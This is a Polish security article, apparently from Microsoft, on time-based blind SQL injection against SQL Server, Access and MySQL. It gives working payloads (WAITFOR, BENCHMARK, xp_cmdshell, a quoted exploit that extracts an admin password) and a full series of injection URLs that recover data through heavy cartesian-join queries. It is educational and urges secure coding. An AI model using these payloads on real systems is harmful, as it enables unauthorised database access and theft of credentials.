Microsoft SQL Server 2008

Ataki typu „blind SQL injection” z wykorzystaniem kontroli czasu oraz złożonych kwerend

Opublikowano: 8 stycznia 2008

Artykuł Miesiąca Security MVP - Wrzesień 2007

Zawartość strony
Artykuł Miesiąca Security MVP - Wrzesień 2007  Artykuł Miesiąca Security MVP - Wrzesień 2007
Wstęp  Wstęp
Kontrolowanie czasu w atakach typu „blind SQL injection”  Kontrolowanie czasu w atakach typu „blind SQL injection”
Opóźnienia czasu odpowiedzi  Opóźnienia czasu odpowiedzi
Wnioski  Wnioski
Podziękowania  Podziękowania

Wstęp

Artykuł ten opisuje, w jaki sposób osoby atakujące systemy baz danych wykorzystują luki typu SQL Injection, stosując kontrolę czasu w atakach „blind SQL injection” prowadzonych z wykorzystaniem złożonych kwerend. Naszym celem jest podkreślenie potrzeby ugruntowania najlepszych praktyk bezpiecznego tworzenia aplikacji sieciowych, zamiast polegania jedynie na zewnętrznych mechanizmach ochrony. Ten artykuł pokazuje przykłady wykorzystania luk dla silników baz danych Microsoft SQL Server i Microsoft Access, jakkolwiek prezentowana tutaj technika może być zastosowana w odniesieniu do każdego innego produktu bazodanowego dostępnego na rynku.

Do początku strony Do początku strony

Kontrolowanie czasu w atakach typu „blind SQL injection”

Pierwsze odniesienia do ataków typu „blind injection” można znaleźć w artykule „(More) Advanced SQL Injection” (Chris Anley, czerwiec 2002), w którym autor zwraca uwagę na możliwość wykonywania takich ataków - w tym konkretnym przypadku jest mowa o rzadziej spotykanych atakach polegających na kontroli czasu odpowiedzi. Chris podaje kilka przykładów techniki „blind SQL injection”:

<<•••••• if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'

...możliwe jest określenie, czy podany bit w sekwencji ma wartość '1' czy '0'. Oznacza to, że czas wykonania powyższej kwerendy zostanie wstrzymany na 5 sekund, jeśli bit '@bit' z bajtu '@byte' w sekwencji '@s' ma wartość '1'.

Dla przykładu, poniższa kwerenda:

declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'

będzie wstrzymana na 5 sekund jeżeli pierwszy bit pierwszego bajtu z nazwy aktualnej bazy danych wynosi '1'.

Jak pokazują powyższe przykłady, informacje są wydobywane z bazy danych przy użyciu „wrażliwego” (reagującego, podatnego na atak) parametru. Następnie wprowadzany („wstrzykiwany”) jest kod powodujący opóźnienie odpowiedzi, jeśli sprawdzany warunek jest prawdziwy.

Po pojawieniu się wspomnianego artykułu, badano metody ataku „blind SQL injection” wraz z większością technik generujących wiadomości o błędach z atakowanego systemu – z powodu ich prostoty, szybkości działania oraz powiązania informacji o błędach z opóźnieniem odpowiedzi bazy danych. Rok później, we wrześniu 2003, Ofer Maor i Amichai Shulman opublikowali artykuł „Blindfolded SQL Injection”. Przeanalizowano w nim różne sposoby identyfikacji wrażliwego, podatnego na atak parametru, w systemie zawierającym luki typu „SQL injection”– nawet jeśli przetwarzana i zwracana przez system informacja nie jest widoczna.

Podczas konferencji BlackHat w 2004 roku, Cameron Hotchkies przedstawił artykuł "Blind SQL Injection Automation Techniques". Zaproponował alternatywne metody automatyzacji metod wykorzystania parametru podatnego na ataki typu „blind SQL injection”, przy użyciu różnych stworzonych przez siebie narzędzi. Zasugerował trzy różne rozwiązania automatyzacji działań:

  1. Wyszukiwanie słów kluczowych w wynikach pozytywnych i negatywnych;
  2. Użycie sygnatur MD5 do rozróżniania wyników pozytywnych i negatywnych;
  3. Użycie silnika wyszukującego różnice w tekście.

Stworzył on także program SQueal, automatyczne narzędzie do wydobywania informacji przy użyciu techniki „blind SQL injection”, które później zostało rozbudowane pod nazwą Absinthe.

We wrześniu 2005 roku, David Litchfield opublikował artykuł „Data Mining with SQL Injection and Inference”, w którym omówił metody kontrolowanego w czasie procesu uzyskiwania wniosków (inferencji) oraz zaproponował inne sposoby wprowadzania opóźnień czasowych za pomocą wywołań procedur składowanych – takich, jak np. procedura xp_cmdshell dla serwera MS SQL, używana przy diagnozowaniu połączeń (ping).

xp_cmdshell ‘ping –n 10 127.0.0.1’ › aplikacja zatrzymana na 10 sekund.

Metody pozwalające na kontrolę czasu mogą być rozszerzone o dowolną czynność wykonywaną przez przechowywaną procedurę i są w stanie spowodować opóźnienie czasowe lub inne zauważalne działanie.

W grudniu 2006 roku, Ronald van den Heetkamp opublikował materiał „SQL Injection Cheat Sweet”, zawierający sposoby wykorzystania „blind SQL injection” w systemie MySQL, z kilkoma przykładami opartymi na funkcjach testujących (benchmark), które mogą generować opóźnienia czasowe. Jak chociażby poniższe:

SELECT BENCHMARK(10000000,ENCODE('abc','123')); [ około 5 sek. ]

SELECT BENCHMARK(1000000,MD5(CHAR(116))) [ około 7 sek. ]

Przykład: SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login

Najnowszy program, opublikowany w czerwcu 2007 roku na stronie http://www.milw0rm.com, poświęconej programom wykorzystującym luki (tzw. exploits) i bezpieczeństwu, pokazuje, jak tę technikę można wykorzystać do zaatakowania serwera gry Solar Empire:

!$sql="F***You'),(1,2,3,4,5,(SELECT IF (ASCII (SUBSTRING(se_games.admin_pw, ".$j.", 1)) =".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM se_games))/*";

Podczas, gdy badania nad technikami czasowo kontrolowanych ataków typu „blind SQL injection” posuwają się naprzód, równolegle powstają nowe narzędzia – takie, jak program SQL Ninja, w którym wykorzystano metodę Wait-for dla silników Microsoft SQL Server lub SQL PowerInjector, w którym zastosowano metodę Wait-for dla silników baz danych Microsoft SQL Server, funkcje benchmark dla silników MySQL oraz rozszerzenie metody Wait-for na silniki Oracle, z wykorzystaniem odwołania do metod DBMS_LOCK.

Do początku strony Do początku strony

Opóźnienia czasu odpowiedzi

Biorąc pod uwagę opisane powyżej metody, natychmiast widzimy, że do wygenerowania opóźnień czasowych przy użyciu odwołań do metod Wait-for lub DBMS_LOCK, niezbędny jest w przypadku Microsoft SQL Server oraz Oracle dostęp do procedur składowanych. Nie jest to jednak konieczne, kiedy wykorzystywany jest silnik MySQL, ponieważ w tym wypadku do wygenerowania opóźnienia czasowego stosowana jest funkcja matematyczna. Niektóre systemy detekcji włamań (Intrusion Detection Systems -IDS) i zapory sieciowe (firewalls) mają możliwość blokowania adresów URL wykorzystujących funkcje, badające wydajność (benchmark).

W związku z tym powstaje pytanie, czy przy zablokowanym użyciu procedur składowanych i funkcji testujących możliwe jest wygenerowanie czasowo kontrolowanego ataku typu ”blind SQL injection”?

Odpowiedź brzmi: „tak”. Przed programami eksploatującymi luki „blind SQL injection” można się ustrzec jedynie, stosując prawidłową technikę programowania. Ujmując to słowami Michaela Howarda: „Każde wejście (wprowadzenie danych, kodu) jest zagrożeniem, o ile nie udowodniono, że to nieprawda” (All input is evil until proven otherwise).

Prostym sposobem wywoływania opóźnień czasowych jest wykorzystanie złożonych kwerend. Złożone kwerendy to jeden z największych problemów związanych z bazami danych, który zmusił projektantów do rozwinięcia technologii optymalizujących wydajność. Wszystko, czego potrzeba do wywołania opóźnienia czasowego, to uzyskanie dostępu do tabeli, która zawiera jakieś rekordy i zbudowanie odpowiednio dobrego zapytania, aby zmusić silnik do pracy. Innymi słowy, musimy zbudować kwerendę, ignorując to, co zalecają praktyki wydajnego korzystania z baz danych.

W poniższym przykładzie mamy do czynienia z adresem URL podatnym na atak SQL injection. Luka może być wykorzystana jedynie przy zastosowaniu techniki czasowo kontrolowanego ataku typu „blind SQL injection”. Oznacza to, że system nie wyświetli żadnego komunikatu o błędzie i zawsze otrzymamy taką samą odpowiedź (czasami dlatego, że pytanie jest prawidłowe, a czasami dlatego, że programista zakodował w programie taką wartość jako domyślną).

Rys. 1. Warunek błędny. Programista poleca, aby program zwracał wartość domyślną -> Wynik 1.

Przykład 1: Microsoft SQL Server. Wykorzystanie złożonych kwerend:

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)

Rys. 2. Wynik pozytywny. Warunek jest prawdziwy, a odpowiedź jest opóźniona o 14 sekund.

Jak widzimy na rysunku 2., kwerenda zostaje uruchomiona o 23:49:11, kończy się o 23:49:25 - 14 sekund. To opóźnienie jest wywołane trzecim warunkiem w klauzuli "where". Jeśli wynikiem jest TRUE, wtedy "300>(select top 1 ascii(substring(name,1,1)) from sysusers)" także daje TRUE. W ten sposób wiemy, że wartość ASCII pierwszej litery nazwy użytkownika z tabeli sysusers jest mniejsza od 300.

Rys. 3. Wynik negatywny. Jednosekundowe opóźnienie odpowiedzi.

Jak widzimy na rysunku 3., kwerenda zostaje uruchomiona o 00:00:28, kończy się o 00:00:29 - jedna sekunda. To opóźnienie jest wywołane trzecim warunkiem w klauzuli "where"; jeśli jego wynikiem jest FALSE, wtedy "0>(select top 1 ascii(substring(name,1,1)) from sysusers)" także daje FALSE. W ten sposób wiemy, że wartość ASCII pierwszej litery nazwy użytkownika z tabeli sysusers jest większa od 0.

Przy użyciu tych dwóch kwerend możemy zdobyć dostęp do informacji przechowanych w bazie danych, mierząc czas odpowiedzi. Pomysł polega na tym, że gdy trzeci warunek z kwerendy daje FALSE, to silnik bazy danych nie będzie przetwarzać warunku drugiego, ponieważ obecność jednego FALSE w kwerendzie z operatorami "AND" da zawsze wynik FALSE. Dlatego też silnik bazy danych nie musi przetworzyć złożonej kwerendy (drugi warunek). Zatem, jeśli chcemy poznać dokładną wartość nazwy użytkownika, będziemy musieli przesuwać indeks i mierzyć czas odpowiedzi.

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and300*>(select top 1 ascii(substring(name,1,1)) from sysusers) --› 14 sekund --› TRUE*

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and0*>(select top 1 ascii(substring(name,1,1)) from sysusers) --› 1 sekunda --› FALSE*

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and150*>(select top 1 ascii(substring(name,1,1)) from sysusers) --› 14 sekund --› TRUE*

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and75*>(select top 1 ascii(substring(name,1,1)) from sysusers) --› 1 sekunda --› FALSE*

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and100*>(select top 1 ascii(substring(name,1,1)) from sysusers) --› 1 sekunda --› FALSE*

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and110*>(select top 1 ascii(substring(name,1,1)) from sysusers) --› 1 sekunda --› FALSE*

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and120*>(select top 1 ascii(substring(name,1,1)) from sysusers) --› 14 sekund --› TRUE*

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and115*>(select top 1 ascii(substring(name,1,1)) from sysusers) --› 1 sekunda --› FALSE*

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and118*>(select top 1 ascii(substring(name,1,1)) from sysusers) --› 1 sekunda --› FALSE*

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and119*>(select top 1 ascii(substring(name,1,1)) from sysusers) --› 1 sekunda --› FALSE*

Stąd też, wynikiem jest ASCII(119)='w'.

Teraz możemy rozpocząć szukanie drugiej litery:

http://www.informatica64.com/blind2/pista.aspx?id\_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and150>(select top 1 ascii(substring(name,1,1)) from sysusers) --› ?

Przykład 2: Microsoft Access. Wykorzystanie tabeli MSysAccessObjects.

http://www.informatica64.com/retohacking/pista.aspx?id\_pista=1 and (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0 and exists (select * from contrasena)

Rys. 4 Wynik negatywny. Jednosekundowe opóźnienie odpowiedzi.

Rys. 5. Wynik pozytywny. Sześciosekundowe opóźnienie odpowiedzi.

Do początku strony Do początku strony

Wnioski

Biorąc pod uwagę opisane wyżej metody, widzimy, że do wygenerowania opóźnień czasowych przy użyciu odwołań do metod Wait-for lub DBMS_LOCK niezbędny jest dostęp do procedur składowanych Microsoft SQL Server oraz Oracle. Nie jest to jednak konieczne w przypadku silników MySQL, ponieważ opóźnienie czasowe jest wówczas generowane przy użyciu funkcji matematycznej. Niektóre systemy detekcji włamań (Intrusion Detection Systems (IDS)) i zapory sieciowe (firewalls) mają możliwość blokowania adresów URL, wykorzystujących funkcje badające wydajność (benchmark).

Do początku strony Do początku strony

Podziękowania

Przedstawione tutaj informacje zostały zaczerpnięte z pracy doktorskiej Chema Alonso (Microsoft Windows Security MVP, Systems Engineer, Uniwersytet Króla Juana Carlosa). C. Alonso pracuje obecnie pod kierunkiem doktora Antonio Guzmána (Systems Engineering Doctor, Uniwersytet Króla Juana Carlosa) i doktor Marty Beltran (Systems Engineering Doctor, Uniwersytet Króla Juana Carlosa).

Do powstania artykułu przyczynili się również Daniel Kachakil (Systems Engineer and Master on Software Engineering, Universidad Politécnica de Valencia) i Rodolfo Bordóna (System Security Consultant i Software Specialist Technician), którzy pomogli przy wykonaniu testów czasu odpowiedzi w różnych środowiskach.

Do początku strony Do początku strony

Microsoft SQL Server 2008